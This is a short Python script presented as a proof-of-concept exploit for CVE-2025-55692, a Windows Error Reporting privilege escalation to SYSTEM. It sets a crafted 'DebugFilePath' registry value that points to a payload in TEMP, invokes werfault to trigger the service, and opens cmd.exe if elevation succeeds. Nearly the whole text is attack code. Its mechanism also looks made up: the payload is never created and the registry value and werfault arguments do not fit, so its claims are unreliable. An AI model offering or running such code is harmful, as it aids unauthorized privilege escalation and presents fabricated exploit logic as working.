The following code is for security research and authorized testing only.
python
# CVE-2025-55692 - Windows Error Reporting Privilege Escalation
# This is a conceptual PoC demonstrating the vulnerability pattern.
# The actual exploitation requires specific knowledge of WER internals.
import os
import sys
import ctypes
import subprocess
import winreg
def check_admin():
"""Check if current process has admin privileges"""
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def exploit_wer_eop():
"""
Exploit improper input validation in Windows Error Reporting
to escalate privileges from low-privileged user to SYSTEM.
"""
if check_admin():
print("[+] Already running with elevated privileges.")
return True
print("[*] CVE-2025-55692 - WER Privilege Escalation PoC")
print("[*] Current user: " + os.environ.get("USERNAME", "unknown"))
# Step 1: Prepare malicious payload that will be executed by WER service
payload_path = os.path.join(os.environ["TEMP"], "wer_payload.exe")
# Step 2: Manipulate WER-related registry keys or configuration files
# WER service reads configuration from specific registry locations
# without proper input validation
try:
# Modify WER configuration to point to malicious executable
reg_path = r"SOFTWARE\Microsoft\Windows\Windows Error Reporting"
key = winreg.CreateKeyEx(
winreg.HKEY_CURRENT_USER,
reg_path,
0,
winreg.KEY_SET_VALUE | winreg.KEY_WOW64_64KEY
)
# Set a crafted value that WER will process without validation
winreg.SetValueEx(key, "DebugFilePath", 0, winreg.REG_SZ, payload_path)
winreg.CloseKey(key)
print("[+] WER configuration modified successfully.")
except Exception as e:
print(f"[-] Failed to modify registry: {e}")
# Step 3: Trigger WER service by causing a controlled crash
# The WER service (running as SYSTEM) will process the malicious
# configuration due to improper input validation
print("[*] Triggering WER service...")
try:
# Cause an application crash to invoke WER
subprocess.run(["werfault", "-k", "-rq"], timeout=5)
except Exception:
pass
# Step 4: Attempt to spawn elevated shell
print("[*] Attempting privilege escalation...")
return check_admin()
if __name__ == "__main__":
if exploit_wer_eop():
print("[+] Exploitation successful! Running as SYSTEM.")
os.system("cmd.exe")
else:
print("[-] Exploitation failed. Patch your system.")